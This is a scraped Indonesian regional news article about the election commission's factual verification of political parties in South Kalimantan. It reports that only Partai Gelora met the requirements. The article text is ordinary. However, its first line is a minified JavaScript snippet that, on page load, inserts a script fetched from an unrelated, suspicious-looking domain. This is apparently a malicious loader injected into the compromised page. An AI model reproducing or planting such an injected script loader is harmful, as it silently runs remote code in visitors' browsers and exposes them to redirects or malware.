(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) RI telah mengumumkan secara nasional 9 partai politik (parpol) non-parlemen yang belum memenuhi syarat verifikasi faktual. Sementara di tingkat provinsi, hanya 1 parpol yang memenuhi syarat.
Komisiomer KPU Kalimantan Selatan, Hatmiati mengatakan saat ini ada 8 Parpol yang melakukan verifikasi faktual perbaikan ditingkat Kabupaten/Kota.
“Jadi yang sudah lolos dan memenuhi 1 perseribu di 75 persen kabupaten/kota itu adalah Partai Gelora, jadi mereka sudah lolos untuk verifikasi administrasi dan faktual di tingkat Kalimantan Selatan,” ungkapnya.
Sebelumnya masa verifikasi faktual berlangsung dari 15 Oktober hingga 4 November 2022 di seluruh provinsi se-Indonesia. Berdasarkan putusan MK Nomor 55 Tahun 2020, verifikasi faktual dilakukan di tingkat pusat dan provinsi hingga kabupaten/kota.
Baca juga : Sidang Mardani Maming, Sejumlah Saksi Dihadirkan terkait Pengalihan IUP PT BKPL
KPU melakukan verifikasi faktual dengan mengecek kepengurusan parpol 100 persen tingkat provinsi se-Indonesia. Kemudian 75 persen kepengurusan tingkat kabupaten/kota di setiap provinsi dan 50 persen pengurusan kecamatan di tingkat kabupaten/kota.
“Karena Kalsel memiliki 13 Kabupaten/Kota maka mereka (Parpol) harus memenuhi 10 Kabupaten/Kota untuk MS kepengurusan dan keanggotaan 1 per 1000, tergantung jumlah disetiap Kabupaten/Kota,” jelasnya.
Tak hanya itu, KPU juga memeriksa surat keputusan (SK) kepengurusan parpol dan dokumen kepemilikan kantor/sekretariat
tetap. Kemudian, petugas mencocokan SK kepengurusan dengan SK yang dimiliki parpol dan menghadirkan Ketua, Sekretaris, Bendahara partai politik, dan menghadirkan 30 persen keterwakilan perempuan.
Selanjutnya petugas mencocokan nama pengurus sesuai dengan SK pengurus. Kecocokan nama ini wajib sesuai identitas yang bersangkutan berdasarkan KTP.
Baca juga : Atlet NPC Banjarbaru Panen Medali di Peparprov Kalsel IV
Dari seluruh rangkaian verifikasi faktual itu, hanya 1 parpol dinyatakan memenuhi syarat di tingkat Provinsi Kalimantan Selatan, yakni Gelora.
Partai ini memiliki 75 persen kepengurusan di tingkat kabupaten/kota di Kalsel. Artinya ada 10 kepengurusan di kabupaten/kota.
Hatmiati menerangkan parpol yang dinyatakan BMS itu diwajibkan menginput data pada sipol di masa perbaikan. Misalnya, partai politik harus meng-upload untuk mengganti Kartu Tanda Anggota (KTA) dan KTP Elektronik yang sebelumnya dinyatakan tidak memenuhi syarat.
Untuk diketahui, saat ini 18 parpol sebagai calon peserta pemilu yang lolos seleksi administrasi. 9 diantaranya diwajibkan mengikuti tahapan verifikasi faktual karena tidak memenuhi syarat parliamentary threshold atau ambang batas parlemen berdasarkan putusan MK Nomor 55 Tahun 2020.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.